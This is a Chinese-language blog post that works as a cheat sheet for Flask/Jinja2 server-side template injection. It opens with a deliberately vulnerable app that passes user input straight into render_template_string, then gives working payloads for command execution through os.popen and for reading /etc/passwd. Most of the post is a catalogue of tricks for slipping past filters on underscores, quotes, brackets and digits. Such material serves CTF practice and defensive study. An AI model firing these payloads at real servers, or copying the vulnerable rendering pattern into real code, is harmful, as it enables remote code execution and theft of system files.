ssti / Web · 2021年10月22日 0

SSTI bypass总结

前言

我在四月份的时候写过一篇SSTI基础的文章,最近博客迁移,但文章只迁过来了几篇我觉得比较有价值的,之前那篇SSTI的文章在现在看起来惨不忍睹,但又不忍心删除于是这几天稍微改了改,就是一篇新文章了。

成因

服务器模板注入大概是用户可控模板的一部分,服务器在渲染模板的过程中执行了用户输入的payload。例如下面的一串代码:

from flask import Flask, request, render_template_string
​
app = Flask(__name__)
​
@app.route('/')
def app_index():
   name = request.args.get('name', "EastJun", type=str)
   data = f'Hello {name}'
   return render_template_string(data)
​
if __name__ == "__main__":
   app.run()

用户用GET方法传入name参数时,服务端将name直接拼接到模板中进行渲染,用户传入的参数为{{7*7}}时,经过模板渲染返回的结果为49

模板基本语法

Flask框架使用Jinja2引擎渲染模板,Jinja2的语法大致和Python相同。在模板中需要用定界符将变量和语句标记出来,主要有三种常见的定界符:

  • {{ ... }} 用于标记变量

  • {% ... %} 用于标记语句,比如if语句和for语句

  • {# ... #} 用于写注释

找到基本类

python中所有类都继承object类,先构造一个字符串、列表、元组或字典找到object类,找到object类之后再去object类的子类里面去找可以利用的类

''.__class__.__mro__[1]
''.__class__.__base__
''.__class__.__bases__[0]

可利用的子类

拿到object类之后通过调用__subclasses__()方法获取子类列表,然后再寻找危险的函数执行命令。例如下面的payload,通过__subclasses__类跳到eval函数执行代码

{{''.__class__.__base__.__subclasses__()[catch_warnings].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}

可以通过Jinja2中的循环语句找到可以利用的子类

{% for c in [].__class__.__base__.__subclasses__() if c.__init__.__globals__ and c.__init__.__globals__.__builtins__%}
{{c.__name__~" "}}
{% endfor %}

命令执行

通过上面的方式可以造成命令执行,在python中有下面几种方式可以造成命令执行

os模块

os模块常用的命令执行函数为os.popenos.system,通过下面的payload可以执行命令,os.system执行的命令是无回显的

{{"".__class__.__bases__[0].__subclasses__()[catch_warnings].__init__.__globals__.__builtins__.__import__("os").popen("ls").read()}}

subprocess模块

subprocess模块中的Popen函数可以执行命令,但是没有回显,需要用反弹shell或者其他方式将命令执行的结果带出来,shell参数设置为True时执行的命令可以是字符串

__import__("subprocess").Popen("ls", shell=True)

文件读取

文件读取需要用到open函数

{{"".__class__.__bases__[0].__subclasses__()[catch_warnings].__init__.__globals__.__builtins__.open("/etc/passwd").read()}}

flask内置函数

可以通过{{self.__dict__._TemplateReference__context.keys()}}查看flask内置函数和内置对象,通过内置对象中的__globals__属性可以很快跳到os模块。

{{self.__dict__._TemplateReference__context.keys()}}

内置函数有lipsum、url_for、get_flashed_messages

内置对象有cycler、joiner、namespace、config、request、session

对于内置函可以用这个payload进行RCE,是我比较喜欢的一个非常简洁的payload

{{lipsum.__globals__.os.popen('ls').read()}}

对于内置对象需要多走一步__init__方法

{{cycler.__init__.__globals__.os.popen('ls').read()}}

bypass

中括号&中括号

  • 中括号被过滤可以使用点号,点号被过滤可以使用中括号

  • pop : pop方法在移除列表或字典中的 元素之后会返回被移除的值

    [0,1,2].pop(0)
  • get

    {"a":"b"}.get("a")
  • setdefault

    {"a":"b"}.setdefault("a")
  • __getitem__ : __getitem__方法可以获取列表或字典中的值

    {"a":"b"}.__getitem__("a")
  • attr : 过滤器语法

    {{self|attr("__dict__")}}
  • getattr()

    getattr((),"__class__")
  • __getattribute__

    ().__getattribute__("__class__")

下划线

下划线的绕过主要依赖于Python中的字符串

  • Hex编码

    {{()|attr("\x5f\x5fclass\x5f\x5f")}}
  • Unicode编码

    {{()|attr("\u005f\u005fclass\u005f\u005f")}}
  • GET请求传参

    {{()|attr(request.args.class)}}
  • 格式化字符串 : 可以用%或者{}两种方式进行格式化字符串

    {{()|attr("%c%cclass%c%c"%(95,95,95,95))}}
    {{()|attr("{0:c}{1:c}class{2:c}{3:c}".format(95,95,95,95))}}

传参

大概有这几种传值的方法,可以传参,同时还能绕过引号的过滤

  • request.args : GET参数

  • request.form : POST参数

  • request.values : 所有参数

  • request.cookies : cookie传参

  • request.headers : header传参

字符串特性

利用Python中的字符串特性绕过关键字过滤

  • 拼接 : 可以使用Python语法中的+、Jinja2语法的~,在Python语法中还能不使用符号将两个字符拼接起来

    {{"o""s"}}
  • 逆序

    {{"so"[::-1]}}
  • 替换

    {{"oaaaas".replace("aaaa","")}}
  • chr

    {%set chr = lipsum.__globals__.__builtins__.chr %}
    {{chr(111)~chr(115)}}
  • join

    "".join(("1","2","3"))

过滤数字

对于数字的过滤可以使用True和False相加减的方式进行构造

{% set zero=True-True %}
{% set one=True+zero %}
{% set two=True+True %}
{% set three=two+True %}
{% set four=three+True %}
{% set five=four+True %}
{% set six=five+True %}
{% set seven=six+True %}
{% set eight=seven+True %}
{% set nine=eight+True %}

绕过引号过滤

不使用过滤器绕过引号过滤

比较常见的是使用几种传参的方式绕过引号过滤,例如下面的payload可以使用GET或POST传参绕过引号过滤

{{request.values.eastjun}}

利用字符串的join方法,需要有一个任意字符串,这里用数字与数字拼接就能转字符串了

{{(1~1).join((dict(eastjun=a)))}}

过滤器

为了方便对变量进行处理,Jinja2 提供了一些过滤器,语法形式如下:

{{ 变量|过滤器 }}

例如使用 length 过滤器来获取字符长度:

{{ "abcd"|length }}

访问https://jinja.palletsprojects.com/en/2.10.x/templates/#list-of-builtin-filters查看所有可用的过滤器。

length和count过滤器

这两个过滤器是用于计算字符串长度的,可以绕过数字的过滤,例如前面{{ "abcd"|length }}返回的结果为4

attr过滤器

用来获取类的属性 由getattr函数来实现

first、last过滤器

获取第一个/最后一个元素

string、lower、capitalize、title过滤器

string过滤器可以将输入的值转成字符串,例如{{g|string}}输出的是<flask.g of 'app'>,其余的三个分别是字符串转小写和首字母大写的过滤器,在模板注入中可以代替string过滤器

float、int、list、map过滤器

这几个都是强制类型转换,在过滤绕过数字的过滤时如果需要用到int类型的数字可以用int过滤器将字符强制转为数字

{% set zero=True-True %}
{% set one=True+zero %}
{{((one~zero)|int)*((one~zero)|int)}}

reverse过滤器

输出逆序,在过滤中括号的情况下也可以用这种方式输出逆序

{{"so"|reverse}}

format、replace、join过滤器

format过滤器可用于格式化字符串,官方的源码中是用的%的方式实现格式化字符串的,用法如下

{{"%c%c""class""%c%c"|format(95,95,95,95)}}

replace过滤器用于替换

{{"ooldstrs"|replace("oldstr","")}}

join过滤器是使用python中的join函数实现的

{{{"a":1,"b":2,"c":3}|join}}#ab
{{(1,2,3)|join}}#123

利用过滤器进行bypass

绕过引号过滤

利用join或者list过滤器结合dict函数可以绕过引号过滤

{{dict(global=a)|join}}
{{dict(global=a)|list|first}}

使用mapstringlist过滤器结合pop函数可以获取到下划线

{{(g|map|string|list).pop(22)}}

再和前面可以拿到任意字符的过滤器组合拼接可以拿到__global__

{% set x=(g|map|string|list).pop(22) %}
{% set glob=dict(global=a)|join %}
{{x*2~glob~x*2}}

格式化字符串

利用格式化字符串绕过下划线过滤,同时如果引号被过滤可以用过滤器拼接出%c

{% set a=g|lower|list|first|urlencode|first %}
{% set b=g|lower|list|first|urlencode|last|lower %}
{% set e= a~b %}
{{(e~e~e~e~e~e~e~e~e)%(95,95,99,108,97,115,115,95,95)}}

绕过数字过滤

利用count或者length过滤器可以绕过数字过滤

{%set one=dict(a=a)|join|length%}
{%set two=dict(aa=a)|join|length%}
{%set tree=dict(aaa=a)|join|length%}
{%set four=dict(aaaa=a)|join|length%}
{%set five=dict(aaaaa=a)|join|length%}
{%set six=dict(aaaaaa=a)|join|length%}
{%set seven=dict(aaaaaaa=a)|join|length%}
{%set eight=dict(aaaaaaaa=a)|join|length%}
{%set nine=dict(aaaaaaaaa=a)|join|length%}
{%set ten=dict(aaaaaaaaaa=a)|join|length%}

join过滤器

join过滤器在没有+~且过滤引号时可以对字符串进行拼接

{% set x=(g|map|string|list).pop(22) %}
{% set glob=dict(global=a)|join %}
{{(x*2,glob,x*2)|join}}

Referer

https://read.helloflask.com/

https://jinja.palletsprojects.com/en/2.10.x/templates/

http://diego.team/2020/11/19/Flask-jinja2-%E5%86%85%E7%BD%AE%E8%BF%87%E6%BB%A4%E5%99%A8-%E6%80%BB%E7%BB%93%E4%B8%8E%E5%88%86%E6%9E%90/

https://blog.csdn.net/miuzzx/article/details/110220425